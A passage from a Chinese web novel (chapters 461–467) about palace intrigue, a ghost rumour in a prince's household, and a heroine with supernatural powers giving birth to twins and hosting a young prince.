因为在他们到达忠王府的第二天夜里,那个僵了舌头的婢女亲自到小桃被杖毙的地方烧了纸钱,还将小桃生前的一身较好的衣裳也一并烧过去了,没想到天亮后,这名婢女的舌僵之症便好了。 没吃药,没行针,只是给小桃烧了些纸钱,此事便解了。 于是,到了夜里,那位挨了几十鞭子的婢女也悄悄到那里给小桃烧纸钱,待到天亮后,她发现自己身上的鞭伤竟然好了大半。 这下子可不得了了! 于是,她接连烧了三夜的纸钱,终于,身上的鞭伤彻底恢复。 按正常来说,什么高超医术的人,能让她三四天就身上没有痕迹了? 便是孙神仙来了也不可能呀! 但事实就摆在眼前,她身上的确是一点痕迹都没有了。 这也太过神奇。 而先前小产的姜宁,因为闹鬼一事而夜夜不得安宁。 也不知道是什么人传出来闲话,说小桃明明是被王妃下令处置的,为何小桃却从未找王妃报仇? 连曾经欺负过她的婢女都能得舌僵之症,怎么小桃不敢对王妃下手? 后来有人解释,说是王妃待小桃一直不错,还时常赏赐东西下来,反而是姜孺人,不止一次地打骂小桃,而且小桃之所以被杖毙,也是因为姜孺人先冲撞了王妃在先。 所以,小桃的魂魄回来后,自然做出了判断,笃定姜孺人才是害了她的真凶。 当然,实际上下令的那位嬷嬷已经死了。 而姜宁也失去了一个孩子。 但姜宁日夜不得安宁,一睡着就会梦到浑身是血的小桃来找她报仇,姜宁整个人憔悴不堪,都要疯了! 得知那两位婢女都已痊愈,姜宁身边的丫环也起了心思。 但是她们代为烧纸,就等于是没有诚意,所以姜宁的情况未见好转。 直到姜宁自己受不了了,吃不好睡不好,她还坐着小月子呢,再这样下去,她会死的! 于是,堂堂的王府姜孺人,也不得不在半夜里爬起来去给小桃烧纸钱,等她再回去后,竟然能一下子睡了两个时辰,这是这段日子以来的第一次! 姜宁再不信,也只能继续烧纸钱。 所以,现在宫里头几位女官也在发愁,此事要如实上报吗? 第462章 双生子 曲皇后听完她们查到的事,小桃生前被人欺负,死后报复这些人,竟然还没有一个是冤枉的。 最离谱的是,姜宁竟然也因为给小桃连着烧了七天的纸钱之后,竟然能睡安稳了。 啧,这就是离大谱! 但是事情查清楚了,曲皇后就必须得做出一个决定。 反正她与姜贵妃也不对眼,处置一个姜宁,她没有丝毫的压力,但问题是,能不能借着这个机会,直接将忠王上位的机会给彻底抹了呢? 这可是难得的一次好机会呀! 真要是错过了,再等下次,还不知道是什么时候呢。 尤其是如今陛下看起来生龙活虎,更不愿意册立太子了。 曲皇后将兄长曲世绩请进宫来商议,最终,二人决定再推一把,让忠王府闹鬼一事,彻底地传遍整个京城。 当然,他们把主要矛头都对准了王府内的那位姜孺人,直接针对忠王,那是傻子才会做的事。 如此一来,他们的目的自然就可以达到。 一来能直接让姜家的名声再降一层,二来还可以借此打压忠王府的势力,堂堂王爷,连内宅妇人都管不好,还能大言不惭地说掌管天下吗? 当然,这第三,就是可以借此机会来削弱忠王在陛下心中的分量,同时,曲皇后再让安王夫妇带着小皇孙进宫来说说话,尽尽孝,这两相对比鲜明,总能刺激到陛下的。 果然,曲皇后猜想的不错,这样两相一对比,永安帝对安王自然是满意得很。 三月末,许昭昭发动了。 她当时正在吃着果子,听人唱曲儿呢,结果腹中一阵折腾,立马就意识到了不对。 好在身边的徐嬷嬷和于嬷嬷都是有经验的,再加上早就找好了产婆,产房也是上就预备着的,一切还算是比较顺利。 许昭昭怀的是双胎,这种情况下,要么就生得十分顺利,要么就是特别困难。 王若兰和许翰听到信儿后,衣裳都没换就急匆匆地过来了。 谢铮则是守在产房外,时不时往门缝里巴一眼,那作派,跟个贼匪似的! 许昭昭没急着使用异能,主要是现在并不是疼得受不住的程度。 但是她也不想让家人太担心,所以大概估摸着实际情况,然后悄悄地给自己腹中的胎儿输送异能。 王若兰着急,许翰更着急,一个劲儿地在外面转圈圈,没等来产房的消息,倒是把谢啸林给转过来了。 “许木头,你能不能安静一会儿?你转得我头疼!” “滚!我看到你还有你家那个混小子,我还眼疼呢!” 这两人一吵起来,旁人都躲得远远的,就怕再溅一身血。 王若兰则是懒得理会他们,手上的佛珠快速地转着,只盼着女儿能母子平安。 谢老夫人和于氏也都焦急地等在这里,于氏其实有几分担忧,想进去看看,但是婆母没同意。 里面除了许昭昭身边的人之外,还有三位产婆,其中一位是王若兰给寻来的,还有两位是许昭昭自己安排人找的。 于氏和谢老夫人先前有过这个想法,但是看到许昭昭将一切都安排得井井有条,便没有插手。 又等了近一刻钟,四夫人小林氏才慢悠悠地过来了。 几人只是看她一眼,并不说话。 小林氏也知道自己如何的身份和王若兰的差距太大,所以只是微微福身后,便安静地坐在一旁。 很快,产房里传来动静。 “少夫人再加把劲儿,能看到孩子的头了!” “少夫人可千万不能松劲,否则先前的罪就白受了!” 许昭昭头上的汗水都已经把头发给打湿了,此时她再也忍不了,直接就催动异能,让两个孩子赶紧出来,只想着等生产完之后,再慢慢地用异能来滋养自己的身体。 “出来一个了!少夫人可千万不能睡,您肚子里还有一个呢。” 又过了几息功夫,产婆抬头道:“看这样子还得再等一等,快去给少夫人端些吃的来。” 这是怕许昭昭脱力,生不下第二个孩子。 于嬷嬷小心地将小娃娃抱在怀里,现在的小娃娃脸上已经被擦洗干净,皮肤皱巴巴的,抱在怀里倒是不算轻。 产房这边还有一道侧门,需要绕过屏风。 从侧门里穿过来,就是王若兰等人焦急等着的地方。 “恭喜世子,贺喜世子,郡主生下一子。” 谢铮看一眼她怀里的孩子后,就往产房的方向瞧:“郡主如何了?” “世子放心,郡主现在很好,正在吃东西补充体力。” 王若兰也是生过双胎的,听这意思就明白,估计这老二得再缓一缓才能出来。 谢老夫人将这个曾孙抱在怀里,怎么也看不够,那嘴就没合拢过,笑得眼睛只剩一条缝了。 谢啸林也凑过来看,这可是他的嫡长孙呀! “不错,长的像昭昭,好看。” 小林氏撇撇嘴,没说话。 没等于嬷嬷将孩子抱走呢,里面又传出动静来。 这次生的比较快,也更顺利。 这么一算,这两位小郎君出生前后就差了一刻钟左右。 一时间,满院子都是贺喜的声音。 许昭昭已经睡过去,虽然没有其它的产妇那么辛苦,但还是挺消耗体力的。 谢铮大步进来后,再慢慢靠过去,看到妻子明显有些苍白的脸色,心疼极了。 “世子爷放心,郡主只是在休息,等到再躺两个时辰,郡主就可以挪到寝室去了。” “嗯。” 许昭昭其实听到谢铮说话了,但是太累,不想睁眼,所以手指动了动。 谢铮看到后,直接把她的手指攥住:“孩子们很好,昭昭,你也要好好的。如果太疼,咱们以后不生了。” 许昭昭抿唇笑一下,没有睁眼,也没有说话。 谢铮则是握得更用力一些。 安乐郡主平安生下双生子的消息,很快就传遍京城。 而许昭昭在生产之时,永安帝便收到了消息,还特意派了太医和内侍过去,就是为了保住许昭昭,也为了等消息。 内侍回来禀报,永安帝的一颗心才落回到肚子里。 “传旨,赏!” 第463章 安乐姐姐 总管太监亲自带着旨意和一水儿赏赐到护国公府,自然是又引起了极大的关注。 许昭昭现在还睡着,自然不能起来接旨。 大总管宣完旨之后,便将谢啸林给叫到了一旁。 “国公爷,恭喜呀!” 谢啸林哈哈一笑,手上的东西也快速地塞入大总管手中:“多谢!回头定然请你来吃一杯酒。” “那可是咱家的福气!” 谢啸林笑声弱下来:“可是还有旨意?” “陛下一直疼爱郡主,说是将她当成了自己家孩子也不为过。如今郡主生下一对小郎君,陛下龙心大悦。” 说到这儿,大总管的声音弱下来:“两位小郎君的名字,国公爷可取了?” 谢啸林听懂了他的暗示:“没有。” “我就说嘛,这种事,还得是咱们陛下!陛下可说了,满月酒,他是一定要吃的。” “是是是,臣等当恭迎陛下!” 到了晚上,许昭昭听谢铮说完后人都麻了。 “你的意思是,我冒着生命危险生下来的孩子,我连个取名字的资格都没有?” 谢铮陪笑道:“不是你没有资格,现在是咱们都没这个资格。明显是陛下起了这个心思,咱们还能怎么办?不过,我跟父亲说了,孩子的乳名可以由咱们自己取。” 许昭昭撅嘴,明显不高兴了。 永安帝是不是下手也太快了些? “父亲那里怎么说?” “还能怎么说!陛下都派他身边的大总管过来了,还能不明白?” 许昭昭不服气:“哼!也就是欺负我现在不能进宫,要不然,我指定得跟皇上好好掰扯掰扯!” 谢铮又惊又笑:“行了,你还是快想想乳名吧。” 许昭昭就是个取名废,接连想了几个都被谢铮给否了。 “壮壮这个名字不合适,有重名的,而且还挺多。要不你再想一个?” 许昭昭一脸颓丧地躺在床上:“不想了!几个都不合适,算了,明天再说。” 谢铮却直接凑过来:“娘子,若是今晚不将名字想好,怕是明天这乳名的资格咱们也保不住了。” 许昭昭一眼瞪过去:“什么意思?” “你别忘了,还有岳父呢!今天要不是有岳母拦着,他就直接把孩子抱走一个了!” 许昭昭瞪眼,她爹? 家里又不是没有小娃娃,干嘛来抢她的呀。 不过,以父亲对自己的宠溺,还真地是有可能会想着过来抢乳名权。 算了,再想想。 “要不,你来想?” 谢铮一怔:“我?” “对呀!你来想,我来判断是不是好听!” 谢铮还真地是被问住了。 从一开始知道许昭昭有孕时,他的确是翻了很多书,也取了好多名字,但是回来后,发现昭昭对于取名有执念,所以就放弃了。 没想到,现在又让他取乳名? 这可真是太难了。 “要不,咱们还是先听听陛下给取什么名字,之后再说?毕竟孩子长大后,还要取字,如果名字太多了,是不是很麻烦?” 许昭昭一想,有道理! “那就先听听陛下取的名字是否顺耳,若是太过拗口,便是陛下取的也不行!我不答应,孩子就不能用。” “好,都听你的。” 谢铮手心这冷汗都要冒出来了,还真的是得陛下宠爱,这样的话她都敢说出口! 他的小媳妇是不是有点儿飘了? 这要是被那些言官们听到了,指不定又要闹出什么事来。 随着许昭昭的两个儿子出世,陛下又想到了如今身体康健的小儿子,自然而然地便命人将他叫过来。 “儿臣给父皇请安。” 永安帝笑着摆摆手,示意免礼,之后又叫他近前来。 “你可还记得当初给你切瓜的那位姐姐?” 小皇子眨眨眼,用力点头:“儿臣记得,是安乐郡主。” “嗯,她刚刚生了两个儿子,如今正在府中休养,朕与她的父亲是自小一起长大的,情同手足,所以对安乐,朕也一直是拿她当亲生女儿来对待的。如今她生产体虚,朕想着派你去护国公府替朕看看他们母子,如何啊?” “儿臣定将事情办好,一定会好好看看安乐姐姐,也看看两个小外甥。” 永安帝眼睛大亮笑意愈浓:“说的好!就是你的安乐姐姐。” 小皇子今年十一岁了,自打去年吃下许昭昭亲手吃下的瓜之后,小皇子不仅仅身体越来越好,而且个头也在疯涨。 这才短短半年,就长了半个头。 以前小皇子体弱,吃东西也少,所以个子小小的。 去年出现在许昭昭眼前时,她一度以为小皇子才六七岁。 这才半年,小皇子就长高了,而且也结实了。 永安帝的眼神微微一亮:“你也不小了,以前因为体弱落下的一些课也得补上。朕问过你的几位夫子,书读得不错,但是你身为儿郎,还是应该多出去走走,如果可以的话,还是要学好射艺。” “是,父皇,儿臣记下了。” “去吧,朕先前命人送了不少赏赐过去,你顺便问问你安乐姐姐,若是还有哪里不满意的,只管跟朕提,只要朕有,一定让她满意。” “是,父皇。” 小皇子李光奉命出宫到护国公府,这是他第一次在没有长辈和兄长们陪同的情况下一人出府,所以,大总管特意安排了整副的仪仗,就怕再有人冲撞了这位小殿下。 皇子殿下驾到,而且还是带有仪仗,那么谢啸林等人就不得不出府迎接。 李光年纪虽小,但人却聪明。 尤其是这么多的兄长,唯有他一人一直缠绵病榻,这心思自然就会更为敏锐一些。 今日父皇找他说的那几句话,他可是字字都记在心里。 他明白,想要在父皇跟前露脸,就一定要和许昭昭搞好关系。 事实上,他原本也喜欢许昭昭,总觉得许昭昭身上有他十分喜欢的气息,好像等在她的身边,自己就能安心。 他不知道的是,这是因为许昭昭在那瓜里输送了异能,她是这异能的本源,李光想要亲近她,且对她有好感,这是再正常不过之事。 “护国公快快免礼,我这次过来是奉了父皇的命令,特意过来看望安乐姐姐的。” 第464章 两个小外甥 众人听到他这一声称呼,也没有太意外。 毕竟小皇子年纪小,而且许昭昭也的确是曾被陛下多次煲奖,甚至曾不止一次地提出来要认许昭昭为义女,都被许翰给拒绝了。 所以,小皇子唤她一声姐姐,再合理不过。 李光这次过来,自己也特意备了礼物。 “安乐姐姐,我可以进来吗?” 现在许昭昭属于是坐月子,一般而言,不宜见风。 许昭昭和谢铮商量过之后,所以暂时没有挪到寝室去住,而是单独挪到了一处小楼里。 许昭昭现在不能下楼,也不能出去透气,所以干脆就住到了二楼,还能偶尔偷偷开窗子看看风景。 许昭昭虽说请了乳母,但是自己的初乳还是都给两个孩子喂了,之后才让乳母继续喂养。 李光被请到楼上,二楼被许昭昭改良过,厅堂很大,视野极佳。 许昭昭不能下楼,但是可以在二楼来回走动,偶尔在太阳特别好,且无风的时候,就会直接走到外面的露台上转转。 这里外面一整圈的露台,转上两圈下来,对于一女子而言,这活动量也可以了。 许昭昭并不似那些寻常的妇人坐月子,不洗澡不洗头的,而是在生产完三天后,她便命人备了药浴。 起初还被老夫人和于氏阻拦,但许昭昭说这是孙神仙特意留下的方子,是药浴,并非是单纯地沐浴,这于她的身体有好处。 于氏想到许昭昭这次是生了双胎,而且两个孩子的个头都不小,应该是对于她的身子有一定损伤的,所以孙神仙才会给开出药浴来。 等到确认许昭昭药浴一次后,确定无碍,不仅没有患头风,也不曾有半分不适后,一家老小才安下心来。 之后,许昭昭便是三天一次药浴。 说是药浴,这里面还加了花瓣,所以每次洗完,身上的药味并不浓,反倒是因为许昭昭会无意识地催动一下异能,所以身上总有一股子花香气。 今日天气好,所以许昭昭正在露台上散步,紫苏和芍药二人跟在身后。 此时听到动静,许昭昭大概能判断出来永安帝让李光来此的用意。 这是认定自己就是一个福星了。 是好事,得把握住了! “安乐见过殿下。” “姐姐快快免礼。呀,不对!你是姐姐,应当是弟弟向你行礼的。” 李光说着,便立马退一步,然后一本正经地朝她作揖。 这一揖,许昭昭受了。 因为她猜到了李光的来意,也猜到了陛下的心思。 “你为何唤我姐姐?” “不是吗?父皇与许公是平辈,父皇说,当年他们和谢公都是以兄弟相称,哪怕到如今,私底下父皇也是常与他二人喝酒闲话。不过,父皇经常会喊许公为许木头,我听到好几次了。许公虽然生气,但是毫无办法。 我父皇有时也是孩童心性,看到许公憋屈又抗议无效的脸色后,总会放声大笑。我有时候都觉得父皇是在欺负许公。可是偏偏父皇说,那不叫欺负,叫随意!” 许昭昭笑笑,没想到这位小皇子倒还是个挺能说的。 李光凑近她,然后吸吸鼻子:“姐姐,你身上有花香味,呃,我说不上来是什么花,反正就是花香的味道。” “殿下鼻子灵敏。来,到这边坐。” 正好两位乳母抱着孩子出来,这是刚刚喂饱,但是因为听到外面有动静,所以没睡着,此时正转着乌溜溜的眼珠子,不知道是不是在找他们的母亲。 “呀!两个小外甥!” 李光这一次的称谓,让后面跟着进来的于氏面色微微发怔。 唤许昭昭一声姐姐,也算是能说得过去,毕竟小殿下年幼。 可是这外甥? 李光可是皇子! 于氏以眼神询问许昭昭,见她并不在意,心中忧虑更甚。 她这是担心有人说他们攀龙附凤,又或者说是言行有失,会被御史弹劾。 “你是奉陛下之命过来的?” 李光点头:“是呀!父皇说不放心你,还说一直拿你当亲生女儿,可惜许木头,呃,不对,是许公一直把你当成心头宝,谁想做你义父他都不答应,要不然,你现在都能有一个公主的封号了。” 于氏听得两眼瞪大,这话真是陛下说的? 倒是许昭昭闻言后扑哧一笑:“陛下就是爱说笑!此事我也听父亲提过的,不过都是些玩笑话罢了。小殿下不必当真。你年幼,唤我一声姐姐,我便应下了,只是这两个孩子,你若是直呼外甥,恐有不妥。” “有何不妥?父皇都没说什么!” “嗯?” 李光昂起头来:“父皇还说我说的对呢!我唤你姐姐,他们就是我的外甥,有何不妥?对了,姐夫在不在?父皇还说我身体好了,可以学习射艺了。所以我想请姐夫教教我。” 呵呵,姐夫叫的这么顺嘴吗? 许昭昭示意他先吃些点心果子,然后吩咐人去找世子。 李光喝两口茶,之后又去逗开两个小娃娃。 “姐姐,他们两个长得好像!你怎么区分他们呀?会不会弄错了?” “不会。他们从头到脚的穿戴都不一样,而且我身为母亲,便是有人故意弄错了,也能分辨出来的。” “我不信!这都一个样,如何分辨?” 许昭昭笑笑不说话,当然不会真地将如何分辨的法子告诉他,只说是自己身为母亲的直觉罢了。 “射艺等晌午小憩过后再学,我早就听闻宫中的小殿下读书很是有天分,可否给我们这两个小娃娃也背一段呢?” “可以呀!就是不知道他们想听什么。” 众人憋着笑,哪个小娃娃会喜欢听这个呀! “那就随便背一段吧。” “好!” 李光再聪明多智,也只是个孩子,如今在这种氛围里,又被许昭昭的异能影响,自然会放松戒备,很快就顺着她开始背起书来。 只是不到半柱香,这两个孩子便都睡着了。 李光吓得不敢出声,脚也不敢挪一下,就怕再把这小娃娃给惊醒了。 许昭昭挥挥手,乳母们便带着两个孩子去里面的屋里休息。 “哇!小外甥好乖呀!怎么跟我以前见到的不一样?” 第465章 龙子福运 李光虽是陛下最小的皇子,但是李光下面还有好几位公主妹妹呢。 而且李光还曾去过曲家和崔家,自然也见到过不少的小娃娃,但是给他印象最深的,就是小娃娃好麻烦,总是哭,而且哭起来没完,也不知道为什么哭。 但是从他到这里之后,两个小宝宝一直很乖,而且眼睛真好看,特别黑,特别亮。 “对了,差点把正事忘了。姐姐,这是父皇让我交给你的,说是如果你不满意,他可以再换。” 许昭昭接过来一瞧,是陛下给两个孩子取的名字。 于氏心里头痒极了,但她不敢过去看,那可是陛下写的,谁知道是不是什么密旨呢? “谢景言、谢景思?” 许昭昭稍微一想,但知道这是出自《史记·平准传》,是司马迁的作品。 该词的原意为“发现景物的时候,随即洞悉其思想”,引申出“外物形,内心想”的思想观点,陛下取这样的名字,是有什么特殊寓意吗? “好名字。陛下只是让你送来,没说其它的?” “没了。父皇说你若是不喜欢,那他就再多想几个。其实父皇给我看的时候,还有好几个名字,最后是我们一起确定的这两个,觉得好听且寓意好。” 许昭昭看一眼坐立难安的于氏,不动声色道:“是吗?你且说说是何寓意?” “景字本意指景象或风物,取名意为崇尚、景观、尊敬、佩服。取名寓意为景星庆云、良辰美景、顺利之意。 言字本意指言说、言论、言辞、语言。取名寓意为聪明伶俐、言而有信、远见卓识之意。 景言二字合起来的寓意,便是有才华、聪明且运气好,一切顺利之意,所以我觉得好呀!” 许昭昭挑眉,听得出来,这就是李光自己的一番解读,绝对不是陛下所想。 “嗯,你说的很对。我也觉得陛下取的这个名字很好。” “姐姐,我原本还给两个小外甥都备了金锁的,但是想把他们的名字刻在上面,所以就没带来,如果你觉得这两个名字可用,那我就让人把这两个名字刻上去了?等下次过来,我再给两个小外甥带上。” “好,殿下有心了。” 李光嘿嘿一笑:“姐姐不必总是称呼我为殿下。我虽然小,但也知事。上次若非是姐姐,我的身体也不可能恢复得这么好。父皇说的没错,你是我的贵人,我应该感激你一辈子的。” “殿下切莫胡言,你是天潢贵胄,龙子福运,便是没有我,你也会平安健康地长大。要说感激,你最应该感激的是陛下。” 李光歪头,一脸不解:“姐姐此言何意?” “你自幼体弱,此事也不是什么秘密,为何那么多的名医良药用了,却不见好,但是也未曾再恶化?” 李光拧眉,摇摇头。 “我刚刚说了,你是龙子,自有福运加持。而且这些年,陛下因你身体不好,故而对你多有宽待,且时常探望问候,是陛下身上的龙气在滋养你,陛下是真龙天子,国运加身,有他的庇佑,你自然能平安长大。” 李光听得一知半解,但他很快明白过来,这番话,一半是说给他听,一半是说给陛下听的。 李光此时才突然意识到,这位姐姐,好像不仅仅只是福星那么简单。 她是真的言出有物,不仅仅是才学,更重要的,是她聪明,知进退。 “我明白了,谢谢姐姐教诲。” “教诲二字可谈不上!我不过一介妇人,见识浅薄,殿下若想要学得更多更深,还当好好读书,多多聆听夫子教诲才是。” “嗯,我记下了。姐姐果然跟她们不一样。” 许昭昭笑了,这次没有再继续追问。 一旁的于氏则是悄悄松口气。 还好,要不然,真是怕被陛下降罪呀。 “那你以后唤我阿狸吧!” “嗯?” “我乳名阿狸,幼时体弱,父皇和母后担心我长不大,所以特意请人测算之后,取了这样一个乳名。等我再长大些,可以取字了,到时姐姐可以唤我的字。” 李光是皇子,他的名讳不是什么人都可以随意唤的。 乳名不同,只要是他的长辈,比如说曲家那边的亲近长辈们,可以这样称呼他,但是绝对不敢毫无顾忌地直呼其名。 许昭昭抬手摸摸他的头:“你长高了这么多,可见身体是真的好了。日后饮食上不可挑剔,而且因为你前几年一直缠绵病榻,所以陛下让你习射艺的确是为你好。强身健体,是陛下希望你能一直健康。身为一名父亲,他真的很疼爱你。” 李光也被这话给感动了。 是呀,他的父皇跟别人的父亲不一样。 他的父皇,先是君,才是父。 别人的父亲,只要在自己家里,就只是父亲这一层身份。 但是在宫中,任何时候都不能忘了,陛下是君,是天子,是大兴子民们的皇帝! “姐姐,我懂了。我以后可以常来吗?” “当然可以!你都唤我姐姐了,有何不可?而且论及射艺,咱们大兴能与你姐夫比肩之人可不多,你可要好好练习,争取日后把他比下去!” “好!”李光立马斗志满满,有姐姐这句话,一定能练好射艺。 李光中午是留在锦绣园用膳的。 于氏在谢铮回来之后,便离开了。 李光虽然年纪小,但男女之间还是要有所避讳,且许昭昭还在坐月子呢,所以她得在旁边看着,不能让许昭昭太累了,不然影响以后生育可怎么办? 李光小憩两刻钟之后,被谢铮叫起来,二人去了练武场。 一直练到天快黑了,李光才满头是汗地跑过来告辞。 “姐姐,我先回去了,姐夫今天教了我好多东西,但是我觉得自己可能没办法全都领会,姐夫说父皇年轻时是我大兴最英武的儿郎,所以让我回去请教父皇!” “嗯,他说的没错,陛下的武艺超凡,的确是你可以请教的对象。” “好,那我过两天再来看你和两个小外甥。” 第466章 抬通房? 许昭昭明白永安帝的用意,但她更明白李光的小心思。 永安帝应该是想要让李光来沾一沾她的福气,然后好真的平安健康长大。 而李光,虽然他极力在隐藏,但是眼底的那一抹用意,还是被她看出来了。 不得不说,生在皇家的孩子,就没有一个是简单的。 别看只是一个十一岁的孩子,但是一旦认真起来,相当可怕。 晚上,谢铮分别抱过两个孩子之后,才和许昭昭一起到屋里说话。 按规矩,许昭昭坐月子,是要与谢铮分开住的。 谢铮不同意,觉得自己又不是畜生,哪能不懂这个? 可几位嬷嬷频频劝说,最后连于氏都出动了。 没办法,谢铮还是选择搬到小楼里住着,但是他住在一楼,和许昭昭不住一间屋子,但还是在同一个屋檐下。 这其间,小林氏不止一次地过来暗示许昭昭,想让许昭昭给谢铮安排一个通房丫头。 但是许昭昭就假装听不懂。 而且这种事,轮得到你一个当婶婶的来过问吗? 谢铮自己不提这种事,许昭昭自然就当不知道。 如果谢铮主动提了,那许昭昭顶多是会有些失望,但这妨碍她做郡主,不妨碍她仍然是国公府的少夫人。 只是以后她和谢铮之间,就别再存有真情真意的幻想了。 其实许昭昭心里也没把握,她不确定,谢铮是否能忍受这种和尚一样的生活。 毕竟这世间真正能一生一世一双人的夫妻实在是太少了。 她很羡慕自己父母间的那种情意,但羡慕是一回事,自己能不能得到就是另外一回事了。 好在,如今她的娘家得势,自己地位也不低,所以并不害怕谢铮真地纳妾后会影响到自己的地位。 但现实是一回事,心里头会不会难受就是另外一回事了。 许昭昭装作不知道,而谢铮是真不知道有人跟许昭昭提过这种事。 直到许昭昭快要满月时,于氏和小林氏再次一起来看她。 “昭昭,我看你这身子调养得不错,看来你这药浴果然是有大用处的,不知道孙神仙给你留了多少?可有把方子留下?” 小林氏打什么主意,许昭昭自然是知道的。 但问题是,她是因为仗着有异能所以才敢如此,至于别人,她真不敢让人家去试,万一真出事了,那可是人命关天,不是闹着玩儿的! “这是孙神仙根据我的身体情况专门调配的,并非是人人都能用。若是日后咱们家里有人需要,可以请他老人家过来诊脉,之后再重新开方子。” 这话没毛病。 于氏点点头:“昭昭说的没错。药浴也是药,不能乱用。而且昭昭这身子养得好,除了药浴,还是因为这里的下人们伺候得周到,还是昭昭会用人,各司其职,既有条理,而且还省心。” “我就当二婶婶是在夸我了。要说会用人,还得是二婶婶才行。我不过就是爱躲懒,一切都是身边的身的几位嬷嬷在打理,她们忠心,我自己也安心。” 小林氏笑道:“话虽如此,但是你和三郎都年纪轻轻的,身边还是应该多几个年轻漂亮的人伺候着,这样你瞅着也能顺眼一些。” “四婶婶说的是,紫苏和芍药长的就不错。只是可惜丁香早早嫁人了,要不然,她才是几个中长得最好的。” 小林氏一噎,她是这个意思吗? 于氏眼含警告瞪她一眼,随后看向许昭昭:“听说两个孩子的名字是陛下赐的?” “是,陛下赐名叫谢景言,谢景思。我和三郎商量过,觉得这名字可以,而且也请示过父亲了,都没有异议,便就此定下。昨儿小殿下还特意过来传了句话,说是等满月宴的时候,陛下会亲自下旨赐名。” 小林氏脸上的表情更僵了。 凭什么他们一家就这么好的运气呢! 得封郡主还不算,如今连孩子都要由陛下赐名,这是真宠着她呀! 于氏觉得这是好事,也算是陛下对谢家的恩宠。 “我瞧着这两个孩子也长得好,还没满月,那小脸儿都圆嘟嘟的,而且今天抱的时候,小腿一蹬,真有劲儿,这往后,又是一个好儿郎。” “借二婶婶吉言。我只盼着日后他们两个不要给我和三郎添麻烦就好,我也不盼着他们能多有出息,只要平平安安的长大,不败家就行。” 小林氏可算是抓住机会了:“瞧你这话说的,咱们谢家可没有那样的子嗣。不过三郎膝下只有两个孩子还是太单薄了些。如今你坐着月子,不方便伺候,还是要多考虑一下三郎,你是主母,这等小事,总不能再让三郎主动提出来吧?不合适!” 许昭昭故作不知:“什么不合适?四婶婶在说什么?” 小林氏再次被噎,气得脸色不佳:“你身为正妻,主动帮着他安排几个伺候的丫头,这还听不懂吗?你出嫁前,难道亲家那边没有教导你这些?” 许昭昭脸上的表情冷下来:“我出嫁前的确是不曾被教导过这些。况且我父亲身边也只我母亲一人,并无侍婢,四婶婶说的这些,我还真不懂。待回头三郎回来,我问问他,若是他真有需要,莫说一个,十个八个我也给他抬回来。” 话音刚落,门帘响动,谢铮黑着脸自屏风后绕进来。 “给我抬什么?你是嫌我日子过得太安生了?” 许昭昭哼一声,扭脸不看他,借着自己还在坐月子的理由,直接翻身面朝里躺着。 于氏一瞧,这是要闹矛盾。 “三郎,你说话怎么这样凶!昭昭也没说什么,就是我们女眷凑在一起闲聊。罢了罢了,我们先回去,你们小两口好好说说悄悄话。” 于氏起身拧了三郎一下,低声道:“好好哄哄你媳妇!” 谢铮明白她的好意,但是却看向了一旁的小林氏:“四婶婶以后还是多把心思往自己院中放放吧。有些事,真传出去了也不好听。” 可不不好听嘛! 哪有当婶子的来插手侄子房里事的! 于氏赶紧拽着小林氏离开了,再不走,只怕谢铮还有更难听的话要说! 第467章 太子之位 等人走了,谢铮才坐到床上,此时的许昭昭肩膀一抖一抖的,偶尔还能听到一两丝声音溢出来。 谢铮还以为她难过得哭了,一时间手脚僵硬,也不知道应该怎么劝。 “别哭了,我,我没想纳妾,也没想再找别的女人。” 许昭昭的肩膀僵一下,随即又再次动起来。 这次抖动的频率更高了。 谢铮还以为自己说错话了,连忙哄道:“真没有!我真不想找别人,我就只要你,咱们两个一起过一辈子,一生一世一双人,我定不负你!” 这次,许昭昭的肩膀没再抖,但是头却在动,而且从指缝里透出来的声音也更密了些。 “昭昭?” 许昭昭被谢铮给翻过来,结果一瞧,哪儿就哭了! 自己家的小媳妇现在笑得花枝乱颤,眼尾带红,瞧着就像是笑得快掉眼泪了。 谢铮也是聪明人,哪里还不明白是怎么回事? “昭昭,你学坏了呀!” “哪有!我本来就没在哭,是你自己判断失误,这也能推到我头上?” 谢铮一噎,好吧,的确是自己以为她哭了,可谁能想到,她竟然是趴在床上笑得这么开心呀! “好,我的错。” 谢铮别的不行,但是认错第一名。 就冲这个态度,许昭昭也不可能真地与谢铮生气。 而且对于自家男人可以在自己面前这样滑跪,那肯定是高兴的呀。 “咳,咳。” 笑得有些猛了,自己呛住了。 谢铮连忙给她拿了温水过来,许昭昭接连喝了几口,这才缓过来。 “没事吧?” “嗯,就是呛了一下,你怎么现在回来了?” “没什么要紧事,自然就回来了。” 许昭昭拿眼剜他,谢铮这才无奈道:“他们约着一起去吃酒,我不乐意去,便回来了。” “行吧,既然回来了,那正好咱们可以说说话。” 许昭昭还在月子里,所以晚上一般都睡得早,就算是她不怎么困,但是只要她想睡,就能睡着。 “陛下有意让小殿下与咱们多来往,你可明白陛下的意思?” 谢铮闻言,先看看四周。 “放心,人早就打发出去了。而且咱们私房话,传不出去。” 谢铮沉默片刻:“你觉得是陛下以为你是福星,所以想让小殿下沾沾你的福气,然后能让小殿下茁壮长成?” “表面上看,好像如此。但是小殿下明显不是这样想的。而且我能看得出来,他眼里有野心,上次过来的时候,他无意中透露出对皇后和安王的不满。” 其实,只不过是一句小小的牢骚被许昭昭听到了而已。 当然,除此之外,还有许昭昭利用自己的特殊本事知道的。 消息渠道不重要,重要的是,她真的察觉到了小殿下对皇后和安王的不满。 这就有意思了。 小殿下可是嫡皇子,他为何会对自己的亲生母亲和兄长怀有敌意呢? 是他天生坏种,一心恋权,还是这其中另有内情? 许昭昭已经想到方法来查清楚了,因为她让小殿下下次再来的时候,将他寝室里的那盆绿植给搬过来。 要说,还是小殿下自己先主动提及的。 是他说那盆绿植他养了好久,但是最近看起来蔫哒哒的。 许昭昭说自己对这方面有些经验,所以小殿下就主动提出来,下次将那盆绿植带过来,然后请许昭昭帮忙照料几日。 “咱们要多做准备,依我看,陛下很快就会册立太子。你以为朝堂上会如何?” 谢铮的表情严肃:“册立一国储君的本意是为了稳固国本,能让朝堂内外都安心。但是实际上,怕是又要迎来一场腥风血雨了。” “你说的不错,所以,咱们要早做准备。哪怕是册立太子了,咱们也得端正好态度,陛下健在,那咱们就只是效忠于陛下,完全没必要去捧一位不知是否还有未来的太子。” 谢铮拧眉,对于这句话有些不认同,但到底还是没有说什么。 果然,几日后,朝中便传出了风声,陛下有意立储君,各方势力自然就开始了各自的角逐。 许昭昭既然能前瞻到一些事,自然就会努力做好最坏的打算,也做好方方面面的安排。 不出意外的话,陛下会册立安王为太子。 